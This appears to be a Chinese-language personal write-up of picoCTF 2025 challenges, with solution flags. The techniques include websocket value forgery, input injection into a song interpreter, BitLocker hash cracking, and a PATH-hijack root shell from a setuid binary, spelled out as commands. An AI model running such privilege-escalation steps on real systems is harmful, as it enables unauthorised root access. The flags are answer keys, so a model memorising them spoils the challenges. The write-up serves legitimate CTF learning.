picoCTF 2025 - write-up hsuan0223x's

Result#

Web#

WebSockFish#

這是一個西洋棋樣子的 web

當下棋下爛掉的時候，可以發現他發送的 websocket 的 value 變大了（下圖右邊的 ws eval value）可以試試看，送出負的 value

1
ws.send("eval -9999999");

picoCTF{c1i3nt_s1d3_w3b_s0ck3t5_e5e75e69}

Pachinko#

這一題只能說，一點都看不懂他在幹嘛。有空再來寫

picoCTF{p4ch1nk0_f146_0n3_e947b9d7}

Crypto#

hashcrack#

看題目就知道，題目跟 hash有關
直接把 hash 值全部丟到這邊破解看看

picoCTF{UseStr0nG_h@shEs_&PaSswDs!_ce730f64}

Guess My Cheese (Part 1)#

Hints: affinity for linear equations 代表說這些 c （密文）跟 p （明文）之間有線性關係先連上去看看

這邊他有加密跟猜測兩個選項
先試試看加密（這邊我拿 Swiss 做示範）

這樣就得到了 c 跟 p 然後知道有線性關係，就可以解方程式

得出 A = 25 , B = 18 這樣就可以解密

picoCTF{ChEeSy1ff8ae0d}

Reverse#

Flag Hunters#

1
import re
2
import time
3

4

5
# Read in flag from file
6
flag = open('flag.txt', 'r').read()
7

8
secret_intro = \
9
'''Pico warriors rising, puzzles laid bare,
10
Solving each challenge with precision and flair.
11
With unity and skill, flags we deliver,
12
The ether’s ours to conquer, '''\
13
+ flag + '\n'
14

15

16
song_flag_hunters = secret_intro +\
17
'''
18
# 歌詞部分省略
19
'''
20

21
MAX_LINES = 100
22

23
def reader(song, startLabel):
24
  lip = 0
25
  start = 0
26
  refrain = 0
27
  refrain_return = 0
28
  finished = False
29

30
  # Get list of lyric lines
31
  song_lines = song.splitlines()
32

33
  # Find startLabel, refrain and refrain return
34
  for i in range(0, len(song_lines)):
35
    if song_lines[i] == startLabel:
36
      start = i + 1
37
    elif song_lines[i] == '[REFRAIN]':
38
      refrain = i + 1
39
    elif song_lines[i] == 'RETURN':
40
      refrain_return = i
41

42
  # Print lyrics
43
  line_count = 0
44
  lip = start
45
  while not finished and line_count < MAX_LINES:
46
    line_count += 1
47
    for line in song_lines[lip].split(';'):
48
      if line == '' and song_lines[lip] != '':
49
        continue
50
      if line == 'REFRAIN':
51
        song_lines[refrain_return] = 'RETURN ' + str(lip + 1)
52
        lip = refrain
53
      elif re.match(r"CROWD.*", line):
54
        crowd = input('Crowd: ')
55
        song_lines[lip] = 'Crowd: ' + crowd
56
        lip += 1
57
      elif re.match(r"RETURN [0-9]+", line):
58
        lip = int(line.split()[1])
59
      elif line == 'END':
60
        finished = True
61
      else:
62
        print(line, flush=True)
63
        time.sleep(0.5)
64
        lip += 1
65

66
reader(song_flag_hunters, '[VERSE1]')

看到第 50 ~ 56 行的程式，我就想到好像可以利用這個邏輯漏洞去跳轉到 secret_intro 的部分所以我輸入

1
REFRAIN;RETURN 0;

結果：

picoCTF{70637h3r_f0r3v3r_a3d964ee}

Quantum Scrambler#

這一題我利用~~工人智慧~~自己手動對出來Flag

picoCTF{python_is_weirdf82598d6}

Binary Instrumentation 1#

Hints:

Frida is an easy-to-install, lightweight binary instrumentation toolkit
Try using the CLI tools like frida-trace to auto-generate handlers

這一題就是要使用 Frida 這個工具會比較好解然後解壓縮以前可以先把 Windows 的即時防毒關掉才不會導致題目檔案被殺先執行看看看起來是要修改跟 Sleep 函式相關的東西這時候可以用 Frida 來逆向

1
frida-trace -f bininst1.exe -i "Sleep"

就會給你一串網址，連進去後就會像這樣這時候可以 Patch 他的函數，像這樣然後要按下上方的 Deploy 鍵之後就要重新運行程式，也是用 Firda 拿去 Decode

picoCTF{w4ke_m3_up_w1th_fr1da_f27acc38}

Forensics#

RED#

Hints:

The picture seems pure, but is it though?
Red?Ged?Bed?Aed?
Check whatever Facebook is called now.

利用 exiftool 查看 Metadata

查看過後發現疑似是詩的東西

1
Crimson heart, vibrant and bold,.
2
Hearts flutter at your sight..
3
Evenings glow softly red,.
4
Cherries burst with sweet life..
5
Kisses linger with your warmth..
6
Love deep as merlot..
7
Scarlet leaves falling softly,.
8
Bold in every stroke.

發現是藏頭

1
check LSB

我使用 zsteg 來檢查，發現了奇怪的東西拿去 base64 解碼

picoCTF{r3d_1s_th3_ult1m4t3_cur3_f0r_54dn355_}

Ph4nt0m 1ntrud3r#

Hints:

Filter your packets to narrow down your search.
Attacks were done in timely manner.
Time is essential

首先，先把封包利用時間排序

然後看到有幾個封包長度不太一樣，就把他們找出來做解碼

1
import base64
2

3
encoded_strings = [
4
    "cGljb0NURg==",
5
    "ezF0X3c0cw==",
6
    "bnRfdGg0dA==",
7
    "XzM0c3lfdA==",
8
    "YmhfNHJfZQ==",
9
    "NWU4Yzc4ZA==",
10
    "fQ==",
11
]
12

13
flag = ""
14

15
decoded_strings = []
16
for enc in encoded_strings:
17
    try:
18
        decoded = base64.b64decode(enc).decode("utf-8")
19
        decoded_strings.append(decoded)
20
    except Exception:
21
        decoded_strings.append(f"Error decoding: {enc}")
22

23
for decoded in decoded_strings:
24
    flag += decoded
25
print(flag)

picoCTF{1t_w4snt_th4t_34sy_tbh_4r_e5e8c78d}

Event-Viewing#

這題要我們找以下三個條件的 Logs

They installed software using an installer they downloaded online
They ran the installed software but it seemed to do nothing
Now every time they bootup and login to their computer, a black command prompt screen quickly opens and closes and their computer shuts down instantly.

Hints:

Try to filter the logs with the right event ID
What could the software have done when it was ran that causes the shutdowns every time the system starts up?

然後分別用這幾個條件去搜尋 event ID 過濾 Logs 最後找到了 1074, 1033, 4657 分別有奇怪的東西

拿去解碼

picoCTF{Ev3nt_vi3wv3r_1s_a_pr3tty_us3ful_t00l_81ba3fe9}

Bitlocker-1#

Hints:

Hash cracking

題目要我們破解 Bitlocker 的密碼這邊利用 John 去爆破 hash

再利用 hashcat 破密

最後掛載檔案拿到 Flag 要記得因為是 Windows ，所以要載 ntfs-3g 套件

picoCTF{us3_b3tt3r_p4ssw0rd5_pl5!_3242adb1}

Pwn#

PIE TIME#

他是有一個 PIE 保護的檔案可以先透過 gdb 分析 main address - offset = win function address 之後輸入後就可以獲取 Flag

picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_93dd5fcb}

hash-only-1#

經典的 Privilege Escalation 首先可以用 IDA 靜態逆向觀察可以發現以下的 code

1
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(
2
    v13,
3
    "/bin/bash -c 'md5sum /root/flag.txt'",
4
    &v11);
5
...
6
  setgid(0);
7
  setuid(0);
8
...
9
v12 = system(v5);

然後發現了執行檔的權限控制如下

1
-rwsr-xr-x 1 root root 18312 Mar  6 03:45 flaghasher

代表說一般 user 執行這個檔案是利用 root 權限我們可以嘗試利用環境變數來替換掉 system() 執行的命令

1
echo -e '#!/bin/bash\n/bin/bash' > /tmp/md5sum
2
chmod +x /tmp/md5sum
3
export PATH=/tmp:$PATH
4
./flaghasher

這樣我們可以順利取得 root shell ，然後 get flag

1
cat /root/flag.txt

picoCTF{sy5teM_b!n@riEs_4r3_5c@red_0f_yoU_9722baa4}

hash-only-2#

跟上個題目一樣，只是初始的 bash 換成了 rbash 所以可以先切換 bash

1
/bin/bash

之後的流程都一樣

picoCTF{Co-@utH0r_Of_Sy5tem_b!n@riEs_aeecb174}